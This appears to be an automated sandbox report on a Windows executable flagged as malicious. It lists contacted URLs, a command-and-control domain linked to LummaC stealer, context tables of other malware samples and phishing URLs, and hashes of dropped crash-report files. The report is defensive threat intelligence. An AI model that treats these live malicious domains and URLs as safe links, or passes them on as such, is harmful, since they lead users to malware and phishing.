https://www.cloudflare.com/learning/access-management/phishing-attack/	bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2163321984.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://defenddsouneuw.shop/pi/	bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://defenddsouneuw.sho	bfINGx7hvL.exe, 00000000.00000002.2430889211.0000000001591000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://defenddsouneuw.shop/	bfINGx7hvL.exe, 00000000.00000003.2162737451.0000000001559000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.thawte.com0	bfINGx7hvL.exe	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://defenddsouneuw.shop:443/apid	bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.privacy-drive.comx	bfINGx7hvL.exe	false		unknown
https://www.thawte.com/cps0	bfINGx7hvL.exe	false		unknown
https://www.cloudflare.com/5xx-error-landing	bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2162474004.0000000001571000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2163321984.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://defenddsouneuw.shop/D	bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	bfINGx7hvL.exe	false	URL Reputation: safe	unknown
https://www.thawte.com/cps0/	bfINGx7hvL.exe	false		unknown
https://www.thawte.com/repository0W	bfINGx7hvL.exe	false		unknown
https://www.cybertronsoft.com	bfINGx7hvL.exe	false		unknown
http://crl.thawte.com/ThawtePremiumServerCA.crl0	bfINGx7hvL.exe	false		unknown
https://defenddsouneuw.shop/Y	bfINGx7hvL.exe, 00000000.00000002.2430889211.0000000001591000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	defenddsouneuw.shop	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520450
Start date and time:	2024-09-27 11:17:22 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bfINGx7hvL.exe renamed because original name is a hash value
Original Sample Name:	80c2a36e9a14e3edba0b706d2433d9b8.exe
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@4/13@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 23 Number of non-executed functions: 278
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: bfINGx7hvL.exe

Simulations

Behavior and APIs

Time	Type	Description
05:18:25	API Interceptor	1x Sleep call for process: bfINGx7hvL.exe modified
05:18:48	API Interceptor	3x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
	ECChG5eWfZ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	homker11.uebki.one/GeneratorTest.php
	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/1g7m/
	http://www.tiktok758.com/	Get hash	malicious	Unknown	Browse	www.tiktok758.com/img/logo.4c830710.svg
	TRmSF36qQG.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?0T5=UL08qvZHLtV&EnAHS=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4JOdI1EXss+

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
defenddsouneuw.shop	File.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SetupPowerGREP.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	https://finalsteptogo.com/uploads/pnk333.zip	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	104.21.69.238
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	GEsD6lobvy.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.97.3
	GfGxum1sf3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://strato.de-sys.online/HJd9cn-2tRRO-rDZDs-D6p99-HbdYU-wK4oY-FICwzl/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	162.159.130.233
	https://www.vossloh-events.com/EMOS/Login.aspx?ReturnUrl=%2femos	Get hash	malicious	Unknown	Browse	104.18.11.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	gZzI6gTYn4.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	U6b3tLFqN5.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	188.114.97.3
	Dev_Project.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	0UB3FIL25c.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://klvegaold.com/clicks/MjM4ODJfMjgzMjU2XzIzLjAwMDg3XzEzXzE3MjczMjgwNzU5NDEwMDQ5MTcyXzIwXjkwMGMwZGQ5NzJkYzQ2OTYzZTUyM2Y4ZDA1YzJjOGM4XjA4LjkuMjYuMjAyNA==	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	188.114.97.3
	https://trivedikavya.github.io/netflix_clone/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	http://intesa-it.serv00.net/it/conto/	Get hash	malicious	Unknown	Browse	188.114.97.3

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_9323de2f2a6f2f2bf9691b888041d1d3296010_0da6e983_efc1c1f2-ef10-4114-96e4-d1a284fc9b7c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0893490661153473
Encrypted:	false
SSDEEP:	192:AdBTAGJ8DfWD0WbkrjZaZr8kF9WzuiFNZ24IO8W8y:GBTNkWwWbkrjCWzuiFNY4IO8W8
MD5:	F290454BBD60B8C65058EABAECC8C30A
SHA1:	CE4EEDE59E52AFEA4D6A52AD421E7A8FAF60D67C
SHA-256:	245F5024232DD2D0452C0A0DA5DB8FBC44C0FF2B1148AB5A22EDE2C504BAF838
SHA-512:	153E73AB47C0D8EAFB03DE3F8169A3759F64A593409F936467CBA62012710013FA1531B2A2DEA95FECA16343FE775E5DBAA3C49E00D80F56ED1847B2C084F2EE
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.9.0.2.3.3.1.7.8.2.8.3.5.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.9.0.2.3.3.2.1.1.0.9.5.0.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.c.1.c.1.f.2.-.e.f.1.0.-.4.1.1.4.-.9.6.e.4.-.d.1.a.2.8.4.f.c.9.b.7.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.8.0.3.5.5.d.3.-.8.9.1.a.-.4.f.0.8.-.b.2.a.0.-.4.1.f.4.f.a.0.4.1.c.3.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.f.I.N.G.x.7.h.v.L...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.r.i.v.a.c.y.D.r.i.v.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.d.c.-.0.0.0.1.-.0.0.1.4.-.6.5.7.e.-.4.4.2.f.b.e.1.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.f.2.e.4.0.a.8.6.4.b.d.2.7.1.9.8.0.3.2.4.7.b.3.9.f.f.3.2.6.d.e.0.0.0.0.0.9.0.4.!.0.0.0.0.0.3.a.c.1.9.1.b.2.3.5.b.3.a.8.6.7.5.3.9.7.2.0.0.7.0.a.5.e.6.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_b2c5d0224beae675fda7c01c57cba19d402078_0da6e983_9c4e44b6-c5e5-47b8-8186-b9802dcb5e27\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.090824335159926
Encrypted:	false
SSDEEP:	192:hJTAGJ8DfW80Nvw4sjZaZr8kF9WzuiFNZ24IO8W8yE:PTNkW3NvwZjCWzuiFNY4IO8W8P
MD5:	E053C0698249D9AD60042A1494F778B1
SHA1:	BD908D03ECCFB3BC5766EF6C3084518667DBF58A
SHA-256:	D4286AC297D573B7FB228981996250BA179BD9E36DB65C6112989DFD386493D5
SHA-512:	E13515519556BF880AE70516D162BC31C848A8D530D253E3FFC0B358B8B34DB5229950FD58766FC06B947BA4D11FE510D12BB4C474A13CC08AE146DC1D83A689
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.9.0.2.3.0.7.2.3.0.6.5.3.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.9.0.2.3.0.8.0.1.1.9.0.8.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.c.4.e.4.4.b.6.-.c.5.e.5.-.4.7.b.8.-.8.1.8.6.-.b.9.8.0.2.d.c.b.5.e.2.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.e.d.8.8.9.e.a.-.c.6.6.0.-.4.e.3.c.-.b.6.a.5.-.c.d.e.6.6.5.a.7.7.1.0.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.f.I.N.G.x.7.h.v.L...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.r.i.v.a.c.y.D.r.i.v.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.d.c.-.0.0.0.1.-.0.0.1.4.-.6.5.7.e.-.4.4.2.f.b.e.1.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.f.2.e.4.0.a.8.6.4.b.d.2.7.1.9.8.0.3.2.4.7.b.3.9.f.f.3.2.6.d.e.0.0.0.0.0.9.0.4.!.0.0.0.0.0.3.a.c.1.9.1.b.2.3.5.b.3.a.8.6.7.5.3.9.7.2.0.0.7.0.a.5.e.6.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_d6c1667ab283d126154324f80fd21f5eda59e7d_0da6e983_01f5966f-efa9-4ec3-a2c8-5407a75e0685\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0908726752260014
Encrypted:	false
SSDEEP:	192:KzN4TAGJ8DfaZ00tG9jZaZr8kF9WzuiFNZ24IO8W8y:04TNka60tG9jCWzuiFNY4IO8W8
MD5:	9CE7B3DF254ABE4B731D36F85AA08861
SHA1:	93647530B7F9D5D053AD7480DE26C9BD822302A0
SHA-256:	34E3B42832317F339C47C0464DE477DD80B68267EB185DB69FCF4104E00E5869
SHA-512:	5B577C25C1768C4B33494DC65E96525DAADB3EB0584E0189663D97D2B7CFAA435D0415B3093313D9D81E856C23670226A6CBA8F64728BB27DCA958D4C00AABD3
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.9.0.2.3.2.8.8.5.8.0.4.0.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.9.0.2.3.2.9.3.2.6.7.9.4.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.f.5.9.6.6.f.-.e.f.a.9.-.4.e.c.3.-.a.2.c.8.-.5.4.0.7.a.7.5.e.0.6.8.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.c.7.f.c.1.6.d.-.7.7.2.7.-.4.8.6.9.-.b.b.0.9.-.6.a.5.d.1.6.e.1.8.2.4.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.f.I.N.G.x.7.h.v.L...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.r.i.v.a.c.y.D.r.i.v.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.d.c.-.0.0.0.1.-.0.0.1.4.-.6.5.7.e.-.4.4.2.f.b.e.1.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.f.2.e.4.0.a.8.6.4.b.d.2.7.1.9.8.0.3.2.4.7.b.3.9.f.f.3.2.6.d.e.0.0.0.0.0.9.0.4.!.0.0.0.0.0.3.a.c.1.9.1.b.2.3.5.b.3.a.8.6.7.5.3.9.7.2.0.0.7.0.a.5.e.6.c.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2297.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Sep 27 09:18:27 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	116020
Entropy (8bit):	2.1959770550796036
Encrypted:	false
SSDEEP:	384:e7KzTJJBmuJzjkkq25y1N4q8SM/UNMYW7+iQ9TgVy:8KzNJBmuyTs5U9MLy
MD5:	46BDC6C6E48A9FA6468DFA06D7C79FD9
SHA1:	4A6730191C6AA49F373630E7F885D8A18735AD25
SHA-256:	39A01FB3390CDAC8DF0911B4618417ADA529F24216CE46EFFAA22F937B3CF6F5
SHA-512:	80D17916A30CE3B2B7286275A7C18937A9286C5EB25B40094B5E58F5C667E512188ACAB4CE8D2F9BD822EFB1386C1B72A4B02A351934FEBDA88B4BE01B72D03E
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......cx.f....................................<....$......$...4N..........`.......8...........T...........hC..............%...........&..............................................................................eJ.......'......GenuineIntel............T...........Xx.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER23C1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8358
Entropy (8bit):	3.702245252995401
Encrypted:	false
SSDEEP:	192:R6l7wVeJSr6JI6YEIbSUZYAgmfdJwQvZBpr589bvmsf1lm:R6lXJG6m6YEkSUZYAgmfdJwTvFfW
MD5:	91C0B06EE62C35C10BF8CC55E2C4E49A
SHA1:	E929DC5C862FBEF41851F3AC95B139894BB089F1
SHA-256:	66F0C77C610B22938BB45208FA7C6ED369F017CF84A751ED5AEEA07AC89421D1
SHA-512:	71910EDF85A61273438E904449584E489B7D138D0176C2D8ADE305A061605632CDF69B971F1C6C62C807C0DF34CDC8EC40224E51BA016169DA177AC34BD5AADD
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER23E2.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4665
Entropy (8bit):	4.478896200033494
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI9C9WpW8VYjknYm8M4JnFFP+q8uCm0AvaUd:uIjfzI7UM7VR6JP4m0AvaUd
MD5:	FEB1AA1D748F028D4BD44E83F2C16514
SHA1:	EE10EC5FB83570AD47125E7A20564C276E557AAF
SHA-256:	ED8B5B95E3CD339BAAA52AF28B0C935D6F5398280D9C2A8AACA1E17B513A6E02
SHA-512:	D48A48B3EF8D2415B827813E93D495796B085A539F0827E0D9337BABCE98F770AD19DF5E73381E683C3A5176C8E8B8B076BAC673F92264A8DB4AA3C7080649B8
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="518421" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7710.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Sep 27 09:18:49 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	122594
Entropy (8bit):	2.1568463331579273
Encrypted:	false
SSDEEP:	384:y5d9Pjplb6JB4Lx3r3k12Ry1N4q8a8CFVHQq3aYjc5ag:yHPnb6JB4LZoc0Daslg
MD5:	48CD81C64EEEF47C28F2A99D4C3428EA
SHA1:	E4033257F3D64B48B6CC249DDB50669FAAEACE88
SHA-256:	BA3EC80D559AF092CF720889603CC0B2813E2660308CA98B8BF0AD39E8E98ED7
SHA-512:	A68F095921D2E5126CFFC02625C70549A9F2DE598A425BBB0D10A8241FFE7A98D6B189A1BCCC4CC4B462FC8452617A4CC5C4EF63741A973391A3A1BD67F7A2AD
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......yx.f............................(.......<....%......T...0Q..........`.......8...........T............D.............@%..........,'..............................................................................eJ.......'......GenuineIntel............T...........Xx.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER780B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8344
Entropy (8bit):	3.7018629473870313
Encrypted:	false
SSDEEP:	192:R6l7wVeJS36wd6YEIESU8YZgmfdJvhZBpDG89b3msfPdm:R6lXJ66q6YE7SU8YZgmfdJvj3FfY
MD5:	F3664FB7B941E518B0A3DD7A0D6E6407
SHA1:	5986F02BCC0D1F6802414FC41DCEAFDF054F3505
SHA-256:	30054088FC0AA8B59C71B9668548A3C85C90E6A8B43069075C033C63A7128F89
SHA-512:	D1167333CD6AB12DDE8D19DA40E1E7C98820B8C28070FFD1A55C81BCABCD5426CD4B76AD019B093AB024A7EAF5588E8861F16AB03C858BD4B9229EF59CDBBDAA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER785B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4665
Entropy (8bit):	4.47905190113051
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI9C9WpW8VYjkP0Ym8M4JnMFnTY+q8uvm0AvaUd:uIjfzI7UM7VR5J9Vm0AvaUd
MD5:	BEE259A03AC67F1F590AC582B9F2D6E1
SHA1:	D3087D286AAD553D798980F877A8A1DBA25983DC
SHA-256:	95BD1CA767CC6B6CCDB7D82BDF4E1505C6F47759135379215ABEA23671453479
